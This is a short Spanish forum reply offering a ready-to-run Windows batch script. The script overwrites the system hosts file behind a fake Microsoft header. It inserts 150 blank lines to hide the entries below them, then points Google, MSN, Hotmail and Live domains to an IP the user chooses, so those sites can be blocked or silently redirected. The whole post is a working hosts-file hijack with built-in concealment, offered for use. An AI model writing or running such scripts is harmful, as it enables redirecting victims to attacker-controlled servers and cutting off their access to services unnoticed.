Kfire, este bat te crea un nuevo hosts con las direcciones que tú quieres.
En IP escribes la ip a la que quieres redirigir, y si utilizarás distintas ips, pues te creas otras variables, o en vez de utilizar %IP% escribes directamente el número.
Pruebalo en tu mismo PC, y me cuentas si te sirve.
@echo off
set file=%SystemRoot%\system32\drivers\etc\hosts
set ip=0.0.0.0
attrib -r %file% >NUL
if not %errorlevel%==0 (exit)
echo # Copyright (c) 1993-1999 Microsoft Corp.>"%file%"
echo #>>"%file%"
echo # Éste es un ejemplo de archivo HOSTS usado por Microsoft TCP/ip para Windows.>>"%file%"
echo #>>"%file%"
echo # Este archivo contiene las asignaciones de las direcciones ip a los nombres de>>"%file%"
echo # host. Cada entrada debe permanecer en una línea individual. La dirección ip>>"%file%"
echo # debe ponerse en la primera columna, seguida del nombre de host correspondiente.>>"%file%"
echo # La dirección ip y el nombre de host deben separarse con al menos un espacio.>>"%file%"
echo #>>"%file%"
echo #>>"%file%"
echo # También pueden insertarse comentarios (como éste) en líneas individuales>>"%file%"
echo # o a continuación del nombre de equipo indicándolos con el símbolo "#">>"%file%"
echo #>>"%file%"
echo # Por ejemplo:>>"%file%"
echo #>>"%file%"
echo # 102.54.94.97 rhino.acme.com # servidor origen>>"%file%"
echo # 38.25.63.10 x.acme.com # host cliente x>>"%file%"
echo.>>"%file%"
echo 127.0.0.1 localhost>>"%file%"
echo.>>"%file%"
for /l %%a in (1,1,150) do echo.>>"%file%"
echo %ip% google.com>>"%file%"
echo %ip% www.google.com>>"%file%"
echo %ip% google.es>>"%file%"
echo %ip% www.google.es>>"%file%"
echo %ip% msn.com>>"%file%"
echo %ip% www.msn.com>>"%file%"
echo %ip% hotmail.com>>"%file%"
echo %ip% www.hotmail.com>>"%file%"
echo %ip% live.com>>"%file%"
echo %ip% www.live.com>>"%file%"
goto :eof
exit